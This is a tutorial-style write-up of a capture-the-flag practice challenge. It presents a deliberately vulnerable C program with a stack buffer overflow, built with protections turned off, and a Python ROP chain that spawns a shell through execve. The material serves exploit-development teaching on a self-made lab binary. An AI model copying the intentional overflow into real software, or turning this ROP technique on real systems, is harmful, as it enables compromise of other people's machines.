ROP Chain Without Memory Leak: Return-Oriented Programming

September 6, 2025

ROP Chain Without Memory Leak: Return-Oriented Programming

Challenge 4: ROP Chain Without Memory Leak (4_simple.c)

Source Code:

#include <stdio.h>

int main() {
    char name[32] = {0};
    printf("Your name is: ");
    read(0, name, 256);  // Buffer overflow: 256 bytes into 32-byte buffer
    return 0;
}

// Convenience gadget functions for ROP practice
void pop_rax_ret() {
    asm("pop %rax; ret");
}

void pop_rdi_ret() {
    asm("pop %rdi; ret");
}

void pop_rsi_ret() {
    asm("pop %rsi; ret");
}

void pop_rdx_ret() {
    asm("pop %rdx; ret");
}

void syscall_ret() {
    asm("syscall; ret");
}

// Compiled: gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/4_simple src/4_simple.c

Challenge Overview

The 4_simple.c program is a basic buffer overflow challenge that demonstrates ROP (Return-Oriented Programming) exploitation without requiring memory leaks. The program reads user input into a 32-byte buffer but allows up to 256 bytes of input, creating a classic buffer overflow vulnerability. I have for convenience placed some gadgets into the C file, for sake of simplicity and because it's a small file (so less gadgets available).

Vulnerability Analysis

File: src/4_simple.c:5-7

char name[32] = {0};
printf("Your name is: ");
read(0, name, 256);  // Buffer overflow: 256 bytes into 32-byte buffer

The vulnerability occurs because read() accepts 256 bytes into a 32-byte buffer, allowing an attacker to overflow the buffer and overwrite the return address on the stack.

Exploit Strategy

Since NX (No Execute) protection is enabled, we cannot execute shellcode on the stack. Instead, we use ROP gadgets provided in the binary to perform a system call.

ROP Chain Construction

The exploit builds a ROP chain to execute execve("/bin/sh", NULL, NULL):

  1. Buffer Padding: 40 bytes to reach the saved return address
  2. Set RAX: Load syscall number 59 (execve) into RAX
  3. Set RDI: Load address of "/bin/sh" string into RDI (first argument)
  4. Set RSI: Load 0 into RSI (second argument - argv)
  5. Set RDX: Load 0 into RDX (third argument - envp)
  6. Execute: Call syscall instruction

Gadget Addresses

The exploit uses these ROP gadgets found in the binary:

  • 0x40120e: pop rax; ret - Set syscall number
  • 0x4011e7: pop rdi; ret - Set first argument
  • 0x4011f4: pop rsi; ret - Set second argument
  • 0x401201: pop rdx; ret - Set third argument
  • 0x40121b: syscall; ret - Execute system call

"/bin/sh" String Location

The binary conveniently includes a "/bin/sh" string that we locate using:

binsh_address = next(exe.search(b'/bin/sh\x00'))

Exploit Implementation

File: solves/4_simple.py:31-40

payload = b'A' * 40          # Fill buffer to reach return address
payload += p64(pop_rax)      # Set syscall number
payload += p64(59)           # execve syscall number
payload += p64(pop_rdi)      # Set first argument
payload += p64(binsh_address)
payload += p64(pop_rsi)      # Set second argument
payload += p64(0)            # NULL for argv
payload += p64(pop_rdx)      # Set third argument
payload += p64(0)            # NULL for envp
payload += p64(syscall)      # Execute syscall

Key Learning Points

  1. ROP Fundamentals: This challenge demonstrates basic ROP chain construction without requiring address leaks
  2. System Call Convention: Shows how to set up registers for the execve system call on x86_64
  3. Gadget Hunting: The binary includes helpful gadget functions specifically for ROP practice
  4. Static Analysis: The exploit works with known addresses since ASLR is not a factor

Execution Flow

  1. Program reads 256 bytes into 32-byte buffer
  2. Buffer overflow overwrites return address with ROP chain
  3. ROP chain sets up execve("/bin/sh", NULL, NULL) system call
  4. System call executes, spawning a shell

-- Try it yourself with my Github Repo - Exploit Development Step-by-Step There you are able to check the whole code and also the full exploit script.